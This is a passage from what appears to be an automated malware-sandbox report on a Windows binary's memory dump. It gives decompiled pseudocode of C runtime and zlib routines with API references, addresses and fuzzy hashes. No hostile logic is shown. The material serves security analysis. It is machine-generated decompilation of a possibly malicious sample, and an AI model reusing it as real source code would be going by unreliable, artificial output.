												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,040D1890), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2, Relevance: 10.7, APIs: 7, Instructions: 189
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00414738, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
